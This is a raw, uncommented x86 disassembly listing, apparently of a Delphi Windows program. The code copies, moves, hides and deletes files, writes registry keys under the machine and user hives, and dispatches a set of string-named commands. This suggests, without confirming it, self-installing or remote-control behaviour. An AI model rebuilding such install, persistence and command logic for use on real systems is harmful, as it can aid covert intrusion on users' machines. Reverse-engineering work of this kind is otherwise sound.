mov edx, dword [ebp - 0x3c0]
call fcn.00405db0
mov eax, dword [ebp - 0x1854]
call fcn.00405f28
push eax
call sub.kernel32.dll_SetFileAttributesA
push 0
lea eax, [ebp - 0x1858]
mov ecx, 0x5ae800
mov edx, dword [ebp - 0x3c0]
call fcn.00405db0
mov eax, dword [ebp - 0x1858]
call fcn.00405f28
push eax
lea eax, [ebp - 0x185c]
mov ecx, 0x5ae800
mov edx, dword [0x5dbcc8]
call fcn.00405db0
mov eax, dword [ebp - 0x185c]
call fcn.00405f28
push eax
call sub.kernel32.dll_CopyFileA
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x1868]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x1868]
lea edx, [ebp - 0x1864]
call fcn.00589d2c
push dword [ebp - 0x1864]
push 0x5adc70
lea eax, [ebp - 0x1860]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1860]
mov cl, 1
xor edx, edx
call fcn.00591b08
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x1874]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x1874]
lea edx, [ebp - 0x1870]
call fcn.00589d2c
push dword [ebp - 0x1870]
push 0x5adc80
lea eax, [ebp - 0x186c]
mov edx, 3
call fcn.00405e2c
mov edx, dword [ebp - 0x186c]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x74]
cmp dword [0x5dbd5c], 0
je 0x5a0f22
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x1880]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x1880]
lea edx, [ebp - 0x187c]
call fcn.00589d2c
push dword [ebp - 0x187c]
push 0x5add98
lea eax, [ebp - 0x1878]
mov edx, 3
call fcn.00405e2c
mov edx, dword [ebp - 0x1878]
lea eax, [ebp - 0x3a8]
call fcn.004039a4
lea eax, [ebp - 0x3a8]
call fcn.00403734
mov edx, dword [0x5dbd5c]
lea eax, [ebp - 0x3a8]
call fcn.00406248
call fcn.0040444c
lea eax, [ebp - 0x3a8]
call fcn.00403b4c
jmp 0x5a0f8a
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x188c]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x188c]
lea edx, [ebp - 0x1888]
call fcn.00589d2c
push dword [ebp - 0x1888]
push 0x5add98
lea eax, [ebp - 0x1884]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1884]
mov dword [ebp - 0x708], eax
mov eax, dword [ebp - 0x708]
call fcn.00405f28
push eax
call sub.kernel32.dll_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x709], al
mov byte [0x5dbc8d], 1
mov byte [0x5dbc8c], 0
jmp 0x5a121b
lea eax, [ebp - 0x1890]
push eax
lea ecx, [ebp - 0x1894]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1894]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1890]
call fcn.005936d4
test al, al
jne 0x5a1023
lea eax, [ebp - 0x1898]
push eax
lea ecx, [ebp - 0x189c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x189c]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1898]
call fcn.005936d4
test al, al
je 0x5a121b
cmp dword [0x5dbd74], 2
jne 0x5a106c
lea eax, [ebp - 0x18a0]
mov ecx, dword [0x5dbd0c]
mov edx, dword [ebp - 0x3c0]
call fcn.00405db0
mov eax, dword [ebp - 0x18a0]
mov dword [ebp - 0x710], eax
mov eax, dword [ebp - 0x710]
call fcn.00405f28
push eax
call sub.kernel32.dll_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x711], al
mov dl, 1
mov eax, dword [ebp - 0x3c0]
call fcn.0042df70
mov eax, dword [ebp - 0x3c0]
call fcn.00405f28
push eax
call sub.kernel32.dll_RemoveDirectoryA
mov eax, dword [ebp - 0x3c0]
call fcn.0040b914
test al, al
je 0x5a1214
xor eax, eax
mov dword [ebp - 0x554], eax
jmp 0x5a10ad
inc dword [ebp - 0x554]
lea edx, [ebp - 0x18b0]
mov eax, dword [ebp - 0x3c0]
call fcn.0042dc94
mov eax, dword [ebp - 0x18b0]
lea edx, [ebp - 0x18ac]
call fcn.0040bbcc
mov eax, dword [ebp - 0x18ac]
lea edx, [ebp - 0x18a8]
call fcn.00589dcc
push dword [ebp - 0x18a8]
push 0x5ae3e4
lea edx, [ebp - 0x18b4]
mov eax, dword [ebp - 0x554]
call fcn.0040b1ec
push dword [ebp - 0x18b4]
lea eax, [ebp - 0x18a4]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x18a4]
call fcn.0040b914
test al, al
jne 0x5a10a7
lea edx, [ebp - 0x18c0]
mov eax, dword [ebp - 0x3c0]
call fcn.0042dc94
mov eax, dword [ebp - 0x18c0]
lea edx, [ebp - 0x18bc]
call fcn.0040bbcc
mov eax, dword [ebp - 0x18bc]
lea edx, [ebp - 0x18b8]
call fcn.00589dcc
push dword [ebp - 0x18b8]
push 0x5ae3e4
lea edx, [ebp - 0x18c4]
mov eax, dword [ebp - 0x554]
call fcn.0040b1ec
push dword [ebp - 0x18c4]
push 0x5adc64
lea eax, [ebp - 0x410]
mov edx, 4
call fcn.00405e2c
mov eax, dword [ebp - 0x410]
call fcn.00405f28
push eax
mov eax, dword [ebp - 0x3c0]
call fcn.00405f28
push eax
call sub.kernel32.dll_MoveFileA
lea edx, [ebp - 0x18d0]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x18d0]
lea edx, [ebp - 0x18cc]
call fcn.0040bcb8
mov ecx, dword [ebp - 0x18cc]
lea eax, [ebp - 0x18c8]
mov edx, dword [ebp - 0x410]
call fcn.00405db0
mov eax, dword [ebp - 0x18c8]
call fcn.0042de1c
lea eax, [ebp - 0x18d4]
mov ecx, 0x5ae7f0
mov edx, dword [ebp - 0x410]
call fcn.00405db0
mov eax, dword [ebp - 0x18d4]
call fcn.0042de1c
mov eax, dword [ebp - 0x410]
call fcn.0042de1c
mov byte [0x5dbc8c], 1
lea edx, [ebp - 0x18d8]
mov eax, 0x5ad780
call fcn.0058fff8
mov eax, dword [ebp - 0x18d8]
call fcn.005936d4
test al, al
je 0x5a1246
mov dword [ebp - 0x57c], 0x80000002
jmp 0x5a1250
mov dword [ebp - 0x57c], 0x80000001
mov eax, dword [0x5d5110]
cmp dword [eax], 1
jne 0x5a1264
mov dword [ebp - 0x57c], 0x80000002
lea eax, [ebp - 0x18dc]
push eax
lea ecx, [ebp - 0x18e0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x18e0]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x18dc]
call fcn.005936d4
test al, al
jne 0x5a1333
lea eax, [ebp - 0x18e4]
push eax
lea ecx, [ebp - 0x18e8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x18e8]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x18e4]
call fcn.005936d4
test al, al
jne 0x5a1743
lea eax, [ebp - 0x18ec]
push eax
lea ecx, [ebp - 0x18f0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x18f0]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x18ec]
call fcn.005936d4
test al, al
jne 0x5a1743
mov dword [ebp - 0x818], 0x94
lea eax, [ebp - 0x818]
push eax
call sub.kernel32.dll_GetVersionExA
cmp dword [ebp - 0x814], 5
jb 0x5a140d
mov dl, 1
mov eax, dword [0x43077c]
call fcn.004308e8
mov dword [ebp - 0x53c], eax
mov edx, dword [ebp - 0x57c]
mov eax, dword [ebp - 0x53c]
call fcn.004309c4
mov eax, dword [ebp - 0x53c]
mov dword [eax + 0x18], 0x20006
lea eax, [ebp - 0x18f4]
mov ecx, dword [0x5dbd0c]
mov edx, 0x5adc00
call fcn.00405db0
mov edx, dword [ebp - 0x18f4]
mov cl, 1
mov eax, dword [ebp - 0x53c]
call fcn.00430a2c
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x18fc]
mov eax, dword [ebp - 0x3c4]
call fcn.0040bcb8
push dword [ebp - 0x18fc]
push 0x5ae814
lea eax, [ebp - 0x18f8]
mov edx, 3
call fcn.00405e2c
mov ecx, dword [ebp - 0x18f8]
mov edx, 0x5adc40
mov eax, dword [ebp - 0x53c]
call fcn.00431060
mov eax, dword [ebp - 0x53c]
call fcn.00430994
mov eax, dword [ebp - 0x53c]
call fcn.00404b38
mov dl, 1
mov eax, dword [0x43077c]
call fcn.004308e8
mov dword [ebp - 0x53c], eax
mov edx, dword [ebp - 0x57c]
mov eax, dword [ebp - 0x53c]
call fcn.004309c4
mov eax, dword [ebp - 0x53c]
mov dword [eax + 0x18], 0x20006
lea edx, [ebp - 0x1904]
mov eax, 0x5adb78
call fcn.0058fff8
mov ecx, dword [ebp - 0x1904]
lea eax, [ebp - 0x1900]
mov edx, 0x5adc00
call fcn.00405db0
mov edx, dword [ebp - 0x1900]
mov cl, 1
mov eax, dword [ebp - 0x53c]
call fcn.00430a2c
lea edx, [ebp - 0x1910]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x1910]
lea edx, [ebp - 0x190c]
call fcn.0040bcb8
mov ecx, dword [ebp - 0x190c]
lea eax, [ebp - 0x1908]
mov edx, dword [ebp - 0x3c0]
call fcn.00405db0
mov ecx, dword [ebp - 0x1908]
mov edx, 0x5ae824
mov eax, dword [ebp - 0x53c]
call fcn.00431060
lea edx, [ebp - 0x1914]
mov eax, 0x5adb78
call fcn.0058fff8
mov ecx, dword [ebp - 0x1914]
mov edx, 0x5ae838
mov eax, dword [ebp - 0x53c]
call fcn.00431060
push 0x5adc58
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x1920]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x1920]
lea edx, [ebp - 0x191c]
call fcn.0040bcb8
push dword [ebp - 0x191c]
push 0x5ae84c
lea eax, [ebp - 0x1918]
mov edx, 4
call fcn.00405e2c
mov ecx, dword [ebp - 0x1918]
mov edx, 0x5adc40
mov eax, dword [ebp - 0x53c]
call fcn.00431060
lea edx, [ebp - 0x192c]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x192c]
lea edx, [ebp - 0x1928]
call fcn.0040bcb8
mov ecx, dword [ebp - 0x1928]
lea eax, [ebp - 0x1924]
mov edx, dword [ebp - 0x3c0]
call fcn.00405db0
mov ecx, dword [ebp - 0x1924]
mov edx, 0x5ae870
mov eax, dword [ebp - 0x53c]
call fcn.00431060
mov ecx, dword [0x5dbd40]
mov edx, 0x5ae884
mov eax, dword [ebp - 0x53c]
call fcn.00431060
mov ecx, dword [0x5dbd44]
mov edx, 0x5ae898
mov eax, dword [ebp - 0x53c]
call fcn.00431060
mov ecx, dword [0x5dbd48]
mov edx, 0x5ae8a8
mov eax, dword [ebp - 0x53c]
call fcn.00431060
mov ecx, dword [0x5dbd4c]
mov edx, 0x5ae8bc
mov eax, dword [ebp - 0x53c]
call fcn.00431060
mov ecx, dword [0x5dbd50]
mov edx, 0x5ae8d4
mov eax, dword [ebp - 0x53c]
call fcn.00431060
lea edx, [ebp - 0x1934]
mov eax, 0x5ad758
call fcn.0058fff8
mov eax, dword [ebp - 0x1934]
lea edx, [ebp - 0x1930]
call fcn.0058ff30
mov ecx, dword [ebp - 0x1930]
mov edx, 0x5ae8e8
mov eax, dword [ebp - 0x53c]
call fcn.00431060
mov eax, dword [ebp - 0x53c]
call fcn.00430994
lea eax, [ebp - 0x1938]
mov ecx, dword [0x5dbd0c]
mov edx, 0x5ae900
call fcn.00405db0
mov edx, dword [ebp - 0x1938]
mov cl, 1
mov eax, dword [ebp - 0x53c]
call fcn.00430a2c
push dword [ebp - 0x3c8]
push dword [0x5dbd10]
push 0x5adc64
lea eax, [ebp - 0x193c]
mov edx, 3
call fcn.00405e2c
mov ecx, dword [ebp - 0x193c]
xor edx, edx
mov eax, dword [ebp - 0x53c]
call fcn.00431060
mov eax, dword [ebp - 0x53c]
call fcn.00430994
mov eax, dword [ebp - 0x53c]
call fcn.00404b38
lea eax, [ebp - 0x1940]
mov ecx, 0x5ae938
mov edx, dword [ebp - 0x3c0]
call fcn.00405db0
mov edx, dword [ebp - 0x1940]
lea eax, [ebp - 0x3a8]
call fcn.004039a4
lea eax, [ebp - 0x3a8]
call fcn.00403734
mov edx, dword [0x5dbd0c]
lea eax, [ebp - 0x3a8]
call fcn.00406248
call fcn.0040444c
mov edx, dword [0x5dbd10]
lea eax, [ebp - 0x3a8]
call fcn.00406248
call fcn.0040444c
lea edx, [ebp - 0x1944]
mov eax, 0x5adb78
call fcn.0058fff8
mov edx, dword [ebp - 0x1944]
lea eax, [ebp - 0x3a8]
call fcn.00406248
call fcn.0040444c
lea eax, [ebp - 0x3a8]
call fcn.00403b4c
jmp 0x5acf48
mov dl, 1
mov eax, dword [0x43077c]
call fcn.004308e8
mov dword [ebp - 0x53c], eax
mov edx, 0x80000002
mov eax, dword [ebp - 0x53c]
call fcn.004309c4
lea edx, [ebp - 0x194c]
mov eax, 0x5adb78
call fcn.0058fff8
mov ecx, dword [ebp - 0x194c]
lea eax, [ebp - 0x1948]
mov edx, 0x5adc00
call fcn.00405db0
mov edx, dword [ebp - 0x1948]
mov eax, dword [ebp - 0x53c]
call fcn.00430d20
mov edx, 0x80000001
mov eax, dword [ebp - 0x53c]
call fcn.004309c4
lea edx, [ebp - 0x1954]
mov eax, 0x5adb78
call fcn.0058fff8
mov ecx, dword [ebp - 0x1954]
lea eax, [ebp - 0x1950]
mov edx, 0x5adc00
call fcn.00405db0
mov edx, dword [ebp - 0x1950]
mov eax, dword [ebp - 0x53c]
call fcn.00430d20
mov edx, 0x80000002
mov eax, dword [ebp - 0x53c]
call fcn.004309c4
lea eax, [ebp - 0x1958]
mov ecx, dword [0x5dbd0c]
mov edx, 0x5ae900
call fcn.00405db0
mov edx, dword [ebp - 0x1958]
mov eax, dword [ebp - 0x53c]
call fcn.00430d20
mov edx, 0x80000001
mov eax, dword [ebp - 0x53c]
call fcn.004309c4
lea eax, [ebp - 0x195c]
mov ecx, dword [0x5dbd0c]
mov edx, 0x5ae900
call fcn.00405db0
mov edx, dword [ebp - 0x195c]
mov eax, dword [ebp - 0x53c]
call fcn.00430d20
mov eax, dword [ebp - 0x53c]
call fcn.00404b38
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae950
call fcn.00405ec0
je 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade68
call fcn.00405ec0
je 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae960
call fcn.00405ec0
jne 0x5a1a8e
xor eax, eax
push ebp
push 0x5a1a87
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x1964]
push eax
lea ecx, [ebp - 0x1968]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1968]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1964]
lea edx, [ebp - 0x1960]
call fcn.005939c8
cmp dword [ebp - 0x1960], 0
jne 0x5a1912
lea eax, [ebp - 0x3b4]
call fcn.00593e98
jmp 0x5a19ac
mov eax, 0x41000
call fcn.00402fc0
mov esi, eax
push 0x41000
push esi
push 0x5ae978
lea eax, [ebp - 0x1974]
push eax
lea ecx, [ebp - 0x1978]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1978]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1974]
lea edx, [ebp - 0x1970]
call fcn.005939c8
push dword [ebp - 0x1970]
push 0x5ae978
lea eax, [ebp - 0x196c]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x196c]
call fcn.00405f28
push eax
call sub.kernel32.dll_ExpandEnvironmentStringsA
lea eax, [ebp - 0x3b4]
mov edx, esi
call fcn.00405c90
mov eax, esi
call fcn.00402fdc
lea eax, [ebp - 0x197c]
push eax
lea ecx, [ebp - 0x1980]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1980]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x197c]
lea edx, [ebp - 0x3b0]
call fcn.005af5ec
cmp dword [ebp - 0x3b0], 0
jne 0x5a1a2a
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1984]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1984]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
lea edx, [ebp - 0x1988]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1988]
push eax
lea eax, [ebp - 0x198c]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x198c]
mov edx, dword [ebp - 0x3b4]
pop eax
call fcn.0059002c
call fcn.00405498
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae984
call fcn.00405ec0
jne 0x5a1b94
lea edx, [ebp - 0x1990]
mov eax, 0x5ad8cc
call fcn.0058fff8
mov edx, dword [ebp - 0x1990]
mov eax, dword [0x5d5090]
call fcn.00405aec
lea eax, [ebp - 0x1994]
push eax
lea ecx, [ebp - 0x1998]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1998]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1994]
lea edx, [ebp - 0x3b0]
call fcn.005af5ec
cmp dword [ebp - 0x3b0], 0
jne 0x5a1b42
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x199c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x199c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
lea edx, [ebp - 0x19a0]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x19a0]
push eax
lea eax, [ebp - 0x19a4]
call fcn.0057b1a0
mov eax, dword [ebp - 0x19a4]
push eax
lea eax, [ebp - 0x19a8]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x19a8]
pop edx
pop eax
call fcn.0059002c
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae9a0
call fcn.00405ec0
jne 0x5a1d76
lea edx, [ebp - 0x19ac]
mov eax, 0x5ad8cc
call fcn.0058fff8
mov edx, dword [ebp - 0x19ac]
mov eax, dword [0x5d5090]
call fcn.00405aec
lea eax, [ebp - 0x19b0]
push eax
lea ecx, [ebp - 0x19b4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x19b4]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x19b0]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
cmp dword [0x5dbd5c], 0
je 0x5a1c86
push 0
lea eax, [ebp - 0x19bc]
push eax
lea eax, [ebp - 0x19c0]
push eax
lea ecx, [ebp - 0x19c4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x19c4]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov edx, dword [ebp - 0x19c0]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2550
mov eax, dword [ebp - 0x19bc]
lea edx, [ebp - 0x19b8]
call fcn.005939c8
mov edx, dword [ebp - 0x19b8]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
lea eax, [ebp - 0x19c8]
push eax
lea ecx, [ebp - 0x19cc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x19cc]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x19c8]
lea edx, [ebp - 0x3b0]
call fcn.005af5ec
cmp dword [ebp - 0x3b0], 0
jne 0x5a1d04
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x19d0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x19d0]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
lea edx, [ebp - 0x19d8]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov eax, dword [ebp - 0x19d8]
call fcn.0057cc80
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x19d4]
call fcn.0040b2d8
mov eax, dword [ebp - 0x19d4]
push eax
lea edx, [ebp - 0x19dc]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x19dc]
push eax
lea eax, [ebp - 0x19e0]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x19e0]
pop eax
pop edx
call fcn.0059002c
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae9bc
call fcn.00405ec0
jne 0x5a1f93
xor eax, eax
push ebp
push 0x5a1f8c
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x5a4]
push eax
lea eax, [ebp - 0x5a8]
push eax
lea eax, [ebp - 0x5ac]
push eax
lea eax, [ebp - 0x5b0]
push eax
lea eax, [ebp - 0x19ec]
push eax
lea ecx, [ebp - 0x19f0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x19f0]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x19ec]
lea edx, [ebp - 0x19e8]
call fcn.005939c8
mov eax, dword [ebp - 0x19e8]
lea edx, [ebp - 0x19e4]
call fcn.0058ff30
mov eax, dword [ebp - 0x19e4]
lea ecx, [ebp - 0x5a0]
lea edx, [ebp - 0x59c]
call fcn.0058b068
mov eax, dword [ebp - 0x59c]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x19f4]
call fcn.0040b2d8
push dword [ebp - 0x19f4]
push 0x5ae9d8
mov eax, dword [ebp - 0x5a0]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x19f8]
call fcn.0040b2d8
push dword [ebp - 0x19f8]
push 0x5ae9d8
mov eax, dword [ebp - 0x5a4]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x19fc]
call fcn.0040b2d8
push dword [ebp - 0x19fc]
push 0x5ae9d8
mov eax, dword [ebp - 0x5a8]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1a00]
call fcn.0040b2d8
push dword [ebp - 0x1a00]
lea eax, [ebp - 0x3b4]
mov edx, 7
call fcn.00405e2c
lea eax, [ebp - 0x1a04]
push eax
lea ecx, [ebp - 0x1a08]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1a08]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1a04]
lea edx, [ebp - 0x3b0]
call fcn.005af5ec
cmp dword [ebp - 0x3b0], 0
jne 0x5a1f2f
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1a0c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1a0c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
lea edx, [ebp - 0x1a10]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1a10]
push eax
lea eax, [ebp - 0x1a14]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1a14]
mov edx, dword [ebp - 0x3b4]
pop eax
call fcn.0059002c
call fcn.00405498
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae9e4
call fcn.00405ec0
jne 0x5a2273
lea edx, [ebp - 0x1a18]
mov eax, 0x5ad8cc
call fcn.0058fff8
mov edx, dword [ebp - 0x1a18]
mov eax, dword [0x5d5090]
call fcn.00405aec
xor eax, eax
push ebp
push 0x5a226c
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x1a1c]
push eax
lea ecx, [ebp - 0x1a20]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1a20]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1a1c]
lea edx, [ebp - 0x3b0]
call fcn.005af5ec
cmp dword [ebp - 0x3b0], 0
jne 0x5a205a
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1a24]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1a24]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
xor eax, eax
push ebp
push 0x5a21f5
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1a30]
push eax
lea ecx, [ebp - 0x1a34]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1a34]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1a30]
lea edx, [ebp - 0x1a2c]
call fcn.005939c8
mov eax, dword [ebp - 0x1a2c]
lea edx, [ebp - 0x1a28]
call fcn.0058ff30
mov eax, dword [ebp - 0x1a28]
push eax
lea eax, [ebp - 0x3c0]
push eax
lea eax, [ebp - 0x1a40]
push eax
lea ecx, [ebp - 0x1a44]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1a44]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1a40]
lea edx, [ebp - 0x1a3c]
call fcn.005939c8
mov eax, dword [ebp - 0x1a3c]
lea edx, [ebp - 0x1a38]
call fcn.0058ff30
mov eax, dword [ebp - 0x1a38]
push eax
lea eax, [ebp - 0x1a50]
push eax
lea ecx, [ebp - 0x1a54]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1a54]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1a50]
lea edx, [ebp - 0x1a4c]
call fcn.005939c8
mov eax, dword [ebp - 0x1a4c]
lea edx, [ebp - 0x1a48]
call fcn.0058ff30
mov eax, dword [ebp - 0x1a48]
call fcn.005936d4
push eax
lea eax, [ebp - 0x1a60]
push eax
lea ecx, [ebp - 0x1a64]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1a64]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1a60]
lea edx, [ebp - 0x1a5c]
call fcn.005939c8
mov eax, dword [ebp - 0x1a5c]
lea edx, [ebp - 0x1a58]
call fcn.0058ff30
mov eax, dword [ebp - 0x1a58]
call fcn.0040b328
pop edx
pop ecx
call fcn.0057b50c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a220f
lea edx, [ebp - 0x1a68]
